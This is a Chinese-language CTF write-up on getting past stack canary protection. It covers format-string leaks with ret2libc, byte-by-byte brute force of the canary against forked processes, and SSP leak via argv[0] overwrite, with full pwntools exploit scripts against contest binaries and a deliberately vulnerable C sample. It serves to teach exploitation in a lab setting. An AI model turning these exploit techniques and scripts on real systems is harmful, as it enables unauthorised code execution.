一道格式化加栈溢出引出的canary绕过总结
2018.06.02
V1NKe
 热度
℃
前言:
这是国赛半决赛上做的一道题,还是头一次学完pwn之后在比赛上用到,发现国赛的题都是栈溢出的题,总体难度不大,可能是因为是学生之间出题的缘故吧。不过题目基本都被学长做了,我只好事后慢慢回味,这次比赛差一点就能进决赛了,终究还是差一点。还是很遗憾的吧。
概述:
一道既包含了格式化字符串又包含了栈溢出的题,但是最后要溢出修改返回地址的时候出现了canary保护,所以我们需要想办法绕过canary的保护。
详解:
check一下:
开了canary。再看看程序内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+8h] [ebp-70h] unsigned int v5; // [esp+6Ch] [ebp-Ch]
v5 = __readgsdword(0x14u); setbuf(_bss_start, 0); printf("please input your name:"); gets(&s); puts("Welcome to participate the ciscn ctf!"); get_message(&s); puts("thank you!"); return 0; }
|
1 2 3 4 5 6 7 8 9 10
| void __cdecl get_message(const char *a1) { char s; // [esp+18h] [ebp-70h] unsigned int v2; // [esp+7Ch] [ebp-Ch]
v2 = __readgsdword(0x14u); printf(a1); printf(", can you leave me some messages:"); gets(&s); }
|
看到两处的gets和一处的printf格式化。所以思路很明确。
- 泄漏puts函数地址
- 得到system函数,/bin/sh地址
- 绕过canary,覆盖返回地址
用第一个gets函数和printf去泄漏,第二个gets函数去覆盖返回地址。这里主要讲canary绕过。
先了解一下canary的含义:
程序里的canary是来检测栈溢出的,它的检测机制是这样的:
先从不知道哪个地方赋值给eax,这个值也无法预测,放到栈上之后eax也被清空了(xor eax,eax)
最后程序快要结束的时候,又从栈中取出了这个值,与原先的canary值进行比较。所以使用栈溢出的时候会把它覆盖从而跳转到了__stack_chk_fail处使得程序结束。网上有一张图表示了canary在栈中的情况:
但是我觉得这张图不太准确,canary和ebp之间还是有一些字节的。就是说它们两个之间还有一些距离。
了解完canary原理之后现在来看看canary的绕过方法:
格式化字符串绕过:
格式化字符串能打印出任意地址的内容,所以可以利用这个来取出canary所在位置的内容,在覆盖返回地址的padding块中填上正确的canary值。绕过canary检测。所以上面提到的那一道题目就很容易解了。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import *
p = process('./pwn5') #p = remote('10.50.6.2',1337) elf = ELF('pwn5') libc = ELF('libc.so')
p.recvuntil('name:') p.sendline('%34$p,%35$p') p.recvuntil('ctf!\n') data = p.recv(10) data = int(data,16) p.recvuntil(',') cannary = p.recv(10) cannary = int(cannary,16)
puts_addr = data - 11 print hex(puts_addr) base = puts_addr - libc.symbols['puts'] system_addr = base + libc.symbols['system'] bin_addr = base + libc.search('/bin/sh').next() print hex(system_addr),hex(bin_addr) p.recvuntil('messages:') playload = 'a'*100 + p32(cannary) + 'A'*12 + p32(system_addr) + 'AAAA' + p32(bin_addr) #gdb.attach(p) p.sendline(playload)
p.interactive()
|
暴力破解尝试canary值-针对fork的进程:
对fork而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也一样。那我们就可以逐位爆破,如果程序崩溃了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。
另外有一点就是canary的最低位是0x00,这么做为了防止canary的值泄漏。比如在canary上面是一个字符串,正常来说字符串后面有0截断,如果我们恶意写满字符串空间,而程序后面又把字符串打印出来了,那个由于没有0截断canary的值也被顺带打印出来了。设计canary的人正是考虑到了这一点,就让canary的最低位恒为零,这样就不存在上面截不截断的问题了。
示例程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| /** * compile cmd: gcc source.c -m32 -o bin **/ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/wait.h> void getflag(void) { char flag[100]; FILE *fp = fopen("./flag", "r"); if (fp == NULL) { puts("get flag error"); exit(0); } fgets(flag, 100, fp); puts(flag); } void init() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void fun(void) { char buffer[100]; read(STDIN_FILENO, buffer, 120); } int main(void) { init(); pid_t pid; while(1) { pid = fork(); if(pid < 0) { puts("fork error"); exit(0); } else if(pid == 0) { puts("welcome"); fun(); puts("recv sucess"); } else { wait(0); } } }
|
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * context.log_level = 'debug' cn = process('./bin') cn.recvuntil('welcome\n') canary = '\x00' for j in range(3): for i in range(0x100): cn.send('a'*100 + canary + chr(i)) a = cn.recvuntil('welcome\n') if 'recv' in a: canary += chr(i) break cn.sendline('a'*100 + canary + 'a'*12 + p32(0x0804864d)) flag = cn.recv() cn.close() log.success('flag is:' + flag)
|
有意触发canary-利用__stack_chk_fail:
这里可以使用jarvis oj中 smashes一题。
关键函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| __int64 func_1() { __int64 v0; // rax@1 __int64 v1; // rbx@2 int v2; // eax@3 __int64 buffer; // [sp+0h] [bp-128h]@1 __int64 canary; // [sp+108h] [bp-20h]@1 canary = *MK_FP(__FS__, 40LL); __printf_chk(1LL, (__int64)"Hello!\nWhat's your name? "); LODWORD(v0) = _IO_gets(&buffer); if ( !v0 ) label_exit: _exit(1); v1 = 0LL; __printf_chk(1LL, (__int64)"Nice to meet you, %s.\nPlease overwrite the flag: "); while ( 1 ) { v2 = _IO_getc(stdin); if ( v2 == -1u ) goto label_exit; if ( v2 == '\n' ) break; flag[v1++] = v2; if ( v1 == 32 ) // 32长度 goto thank_you; } memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1)); thank_you: puts("Thank you, bye!"); return *MK_FP(__FS__, 40LL) ^ canary;
|
gets函数的栈溢出,这里就需要用一种SSP(Stack Smashing Protector) leak方法了。
前面已经提到了,如果canary的值被我们覆盖了变化之后程序会执行___stack_chk_fail函数。
我们来看看他的源码:
__stack_chk_fail :
1 2 3 4 5
| void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); }
|
fortify_fail :
1 2 3 4 5 6 7 8 9
| void __attribute__ ((noreturn)) __fortify_fail (msg) const char *msg; { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>") } libc_hidden_def (__fortify_fail)
|
可见,__libc_message 的第二个%s
输出的是argv[0],argv[0]是指向第一个启动参数字符串的指针,而在栈中,大概是这样一个画风:
所以,只要我们能够输入足够长的字符串覆盖掉argv[0],我们就能让canary保护输出我们想要地址上的值。
我们试试看,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * context.log_level = 'debug' #cn = remote('pwn.jarvisoj.com', 9877) cn = process('pwn_smashes') cn.recv() cn.sendline(p64(0x0000000000400934)*200) #直接用我们所需的地址占满整个栈 cn.recv() cn.sendline() cn.recv() #.rodata:0000000000400934 aHelloWhatSYour db 'Hello!',0Ah ; DATA XREF: func_1+1o #.rodata:0000000000400934 db 'What',27h,'s your name? ',0 #.rodata:000000000040094E ; char s[] #.rodata:000000000040094E s db 'Thank you, bye!',0 ; DATA XREF: func_1:loc_400878o #.rodata:000000000040095E align 20h #.rodata:0000000000400960 aNiceToMeetYouS db 'Nice to meet you, %s.',0Ah #.rodata:0000000000400960 ; DATA XREF: func_1+3Fo #.rodata:0000000000400960 db 'Please overwrite the flag: ',0 #.rodata:0000000000400992 align 8 #.rodata:0000000000400992 _rodata ends
|
输出结果:
1 2 3 4
| [DEBUG] Received 0x56 bytes: 'Thank you, bye!\n' '*** stack smashing detected ***: Hello!\n' "What's your name? terminated\n"
|
但是,当我们把地址换成flag的地址时,却可以发现flag并没有被打印出来,那是因为在func_1函数的结尾处有这样一句:
1
| memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));
|
所以,无论如何,等我们利用canary打印flag的时候,0x600D20上的值已经被0完全覆盖了,因此我们无法从0x600D20处得到flag。
这就是这道题的第二个考点,ELF的重映射。当可执行文件足够小的时候,他的不同区段可能会被多次映射。这道题就是这样。
可以看到,在0x400d20处还存在着flag的备份。
EXP:
1 2 3 4 5 6 7 8 9
| from pwn import * context.log_level = 'debug' cn = remote('pwn.jarvisoj.com', 9877) #cn = process('pwn_smashes') cn.recv() cn.sendline(p64(0x0400d20)*200) cn.recv() cn.sendline() cn.recv()
|